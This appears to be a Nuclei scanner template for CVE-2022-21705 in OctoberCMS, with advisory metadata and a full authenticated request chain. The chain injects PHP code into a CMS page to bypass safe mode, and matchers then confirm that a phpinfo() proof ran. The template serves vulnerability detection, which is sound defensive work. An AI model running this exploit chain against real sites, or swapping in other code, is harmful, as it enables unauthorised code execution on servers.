id: CVE-2022-21705

info:
  name: OctoberCMS Authenticated Remote Code Execution
  author: iPhantasmic
  severity: high
  description: |
    Octobercms is a self-hosted CMS platform based on the Laravel PHP Framework. In affected versions user input was not properly sanitized before rendering. An authenticated user with the permissions to create, modify and delete website pages can exploit this vulnerability to bypass `cms.safe_mode` / `cms.enableSafeMode` in order to execute arbitrary code. This issue only affects admin panels that rely on safe mode and restricted permissions. To exploit this vulnerability, an attacker must first have access to the backend area.
  remediation: |
    The issue has been patched in Build 474 (v1.0.474) and v1.1.10. Users unable to upgrade should apply https://github.com/octobercms/library/commit/c393c5ce9ca2c5acc3ed6c9bb0dab5ffd61965fe to your installation manually.
  reference:
    - https://github.com/octobercms/library/commit/c393c5ce9ca2c5acc3ed6c9bb0dab5ffd61965fe
    - https://github.com/octobercms/october/security/advisories/GHSA-79jw-2f46-wv22
    - https://cyllective.com/blog/post/octobercms-cve-2022-21705/
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 7.2
    cve-id: CVE-2022-21705
    cwe-id: CWE-74
  tags: cve,cve2022,authenticated,rce,cms,octobercms,injection


requests:
  - raw:
      - | # to obtain session_key and token
        GET /backend/backend/auth/signin HTTP/1.1
        Host: {{Hostname}}

      - | # to perform authentication and obtain admin cookies
        POST /backend/backend/auth/signin HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        _session_key={{session_key}}&_token={{token}}&postback=1&login={{username}}&password={{password}}

      - | # to inject php code in Markup editor and perform exploit
        POST /backend/cms HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded; charset=UTF-8
        X-OCTOBER-REQUEST-HANDLER: onSave
        X-OCTOBER-REQUEST-PARTIALS:
        X-Requested-With: XMLHttpRequest

        _session_key={{session_key}}&_token={{token}}&settings%5Btitle%5D={{randstr}}&settings%5Burl%5D=%2F{{randstr}}&fileName={{randstr}}&settings%5Blayout%5D=&settings%5Bdescription%5D=&settings%5Bis_hidden%5D=0&settings%5Bmeta_title%5D=&settings%5Bmeta_description%5D=&markup=%3C%3Fphp%0D%0A%0D%0Afunction+onInit()+%7B%0D%0A++++phpinfo()%3B%0D%0A%7D%0D%0A%0D%0A%3F%3E%0D%0A%3D%3D%0D%0A&code=&templateType=page&templatePath=&theme=demo&templateMtime=&templateForceSave=0

      - | # to obtain theme
        POST /backend/cms HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded; charset=UTF-8
        X-OCTOBER-REQUEST-HANDLER: onCreateTemplate
        X-OCTOBER-REQUEST-PARTIALS:
        X-Requested-With: XMLHttpRequest

        _session_key={{session_key}}&_token={{token}}&search=&type=page

      - | # to access the template page for generated exploit
        POST /backend/cms HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded; charset=UTF-8
        X-OCTOBER-REQUEST-HANDLER: onOpenTemplate
        X-OCTOBER-REQUEST-PARTIALS:
        X-Requested-With: XMLHttpRequest

        _session_key={{session_key}}&_token={{token}}&search=&{{theme}}=demo&type=page&path={{randstr}}.htm

    cookie-reuse: true

    extractors:
      - type: xpath
        name: session_key
        attribute: value
        xpath:
          - "/html/body/div[1]/div/div[2]/div/div/form/input[1]"
        internal: true
        # Obtain _session_key for current OctoberCMS session

      - type: xpath
        name: token
        attribute: value
        xpath:
          - "/html/body/div[1]/div/div[2]/div/div/form/input[2]"
        internal: true
        # Obtain _token for current OctoberCMS session

      - type: regex
        name: theme
        part: body
        group: 1
        regex:
          - '<input\stype=\\"hidden\\"\svalue=\\"demo\\"\sname=\\"([^"]*)\\"'
        internal: true
        # Obtain current theme used for Markup editor of OctoberCMS

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - 'function onInit()'
          - 'phpinfo()'
          - 'Safe mode is currently enabled. Editing the PHP code of CMS templates is disabled. To disable safe mode, set the `cms.enableSafeMode` configuration value to `false`.'
        condition: and
        # if exploit executes, phpinfo() should now be exposed at the /{{randstr}} endpoint, even though Safe mode is enabled

      - type: status
        status:
          - 200